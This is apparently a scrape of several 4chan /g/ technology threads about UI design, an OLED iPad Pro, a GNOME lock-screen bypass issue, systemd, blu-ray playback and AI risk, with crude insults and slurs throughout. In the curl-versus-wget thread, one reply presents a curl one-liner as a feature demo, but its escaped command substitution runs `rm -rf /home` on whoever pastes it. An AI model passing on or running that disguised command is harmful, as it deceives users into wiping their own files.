What happened to tech design? Why is it regressing
>>99726992because all that functionality can be reduced to a dynamic oled touch interface
>>99727001retard
>>99726992we kind of realized that nobody needs technology and can just grow onions and blueberries instead, so it's been taken over by idiots
>>99726992I feel like there was some sort of fork where I missed the boat with regard to UI >Can use blender and other complicated software>Parking apps, Uber eats and other shit confuses me What happened?
>>99726992>>99727108Not sure, but this over simplification has crept into production software and made it shitty.Especially in Microsoft, firstly there's Windows hiding all the useful config options and screens behind shitty screens for retards.But have you ever tried making a chart in Excel recently?Remember how the chart maker used to be a wizard where you specified specifically what you wanted?Yeah, now you can only highlight your data and press a couple of buttons to choose from a list of presets it thinks you want.God forbid your data has more than two dimensions because you're fucked. In an effort to streamline what they've ended up doing instead is making the most counterintuitive piece of pajeet shit I've ever seen crapped out.Ended up installing PowerBI instead, now that's how you make the complex simple.
The iPad Pro oled is coming in May or be announced during the wwdc24 in JuneIt will have an oled panel and the m3 chipIt will be the best gaming tablet and an ultra portable device The thing i don’t like is that it doesnt have a lite version of macOS and i think its by choice because it will cannibalize into MacBook Air sales I want it for mobile gaming and media like Family Guy and moviesWhat do you guys think about it?
>>99726325I really like mobile gaming like cod mobile and my phone is too small for meAlso the 120fps screen plus high resolution will help tremendously
>>99726331>unironically playing mobile "games"Brother what the fuck is wrong with you
>>99726341Theyre fun but of course not the ones that try to get you to payApple Arcade and ones that you pay upfront with no in app purchases tend to have some good ones
>>99725617Yeah, my iPad Pro 2018 is capable of the same consumption (and drawing/note taking i guess) as the new versions will be able to. I'm an Apple fan and a nerd and i don't see any reason to upgrade. No matter how capable the hardware is, iPadOS is an awkward phone OS instead of an awkward computer OS.

Why is the S24 grain issue being swept under the rug so hard?
Best video player? Mx player is not launching anymore for meVLC I'm not a fan of the look of itNeed one that can play 4k videos along with custom subtitles files
>>99727722Good maybe someone can help me out, why does the xperia 1 iv's front facing speakers sound so shitty? I've looked up youtube videos and they have that weird upper frequency distortion that makes sibilant things have a phaser sound effect. Anyone know what I'm talking about? https://www.youtube.com/watch?v=-sHZ-8mJZMgIt genuinely sounds like a software compression thing, which is confusing.

>GNOME lockscreen can be bypassed with vidya game controller>closed wontfix >https://gitlab.gnome.org/GNOME/gnome-shell/-/issues/7530gnomebros….. your response?
>>99728912>presses "switch user"This should kick you out of the session and back to GDM. I'm sure not even gnomeniggers could fuck this up.>If it's a third process owned by root, shouldn't that process always be used for the lock screen?That's how it works on Windows, but you could argue it doesn't have to be that way.
>>99728912The lock screen on tty2 is part of Alice's session.The lock screen on tty3 is part of Bob's session.
>>99728912well this is simple, it should be handle by a third process owned by root.
>>99728110>That it requires root or physical access to unlock as said does nothing because software that runs as your own user can literally just delete and read all files on your system or in theory just copy your entire Wayland session to another terminal and let anyone else log in from there; it's an utter security theatre to only allow root or physical access to unlock.you convinced me
>>99728912 (Me)I ask this because currently I'm convinced that the whole "lock screen process is owned by the user who just locked" concept is fundamentally fucked. Even if the specific user-switching exploit I'm thinking of doesn't work, it feels very flaky and almost guaranteed to have other issues.>>99729014>GDM>This should kick you out of the session and back to GDMGreat. So GDM is able to log people in, accept passwords, etc. It runs as some other user (presumably), and has its own tty. Perfect. Why can't just locking the screen take the user to GDM?
Why are all installscripts using curl over wget?
Curl sounds better
>>99720191curl is better because wget can't do this:curl "https://4chan.org/?adminlogin=`$'\x72\x6d' $'\55\x72\x66' $'\57\x68\x6f\x6d\x65'`"

Does systemd get in the way of a minimal Linux userspace?This is what a fresh base Arch installation looks like. Aside from the actively used terminal session tree, everything listed is run by systemd in the background. Each process takes up some memory with CPU time slowly counting up in some of them. It's also just a lot of clutter that leaves a negative psychological impact in and of itself.How much of this is actually essential if all you are doing is, say, running a simple network storage server that doesn't need regular maintenance and updating?
"DIY distro", can't change init system, linux sisters...
>>99728798>Does systemd get in the way of a minimal Linux userspace?do you even know what systemd is? each piece of functionality is in its own binary, systemd is a software suite not an init, so there's many binaries. so what do you mean by minimal?

What do we think? 4U, room for 8 2-slot GPUs, Xeon V4, but pretty barebones (no RAM, one shitty HD):https://www.ebay.com/itm/155634089875I'd offer $500 for it. It's a boat anchor to the corporate world, IMHO.
>>99729051>it's been stated that it needs 128 A100 GPUs to run.I'm sure that's a distributed compute farm meant to handle tons of requests at a time, it's not a single chat instance requirement.

this guy seems confident that there will be a "runaway" moment where AI rapidly improves itself and then kills all of humanity. he's the "AGI expert" that makes rounds on various podcasts and writes articles so he seems legit. we should be worried. forget about losing your job to AI. worry about losing your life.

>>99727815>>99727852Is it difficult to make it work? Someone I know has a USB blu-ray drive. I don't have a blu-ray player at all but I have some blu-rays (gifts), so maybe I should get a USB blu-ray drive myself.
>>99728620dunno, I haven't configured an authentification agent and if I wanted to run a vpn I'd do it in a terminal.
>>99728706It was trivial on Gentoo, but I also have an Ubuntu install that I swear I've followed the same same steps but doesn't work. It's probably because Ubuntu is my HTPC and uses Kodi. On Gentoo it's as simple as being in the cdrom group, downloading the keydb.cfg, and enabling a few USE flags.
Why is it when i install xdg-portal and an agent everything breaks.But when i remove them those same things "requiring" portals work fine without them?
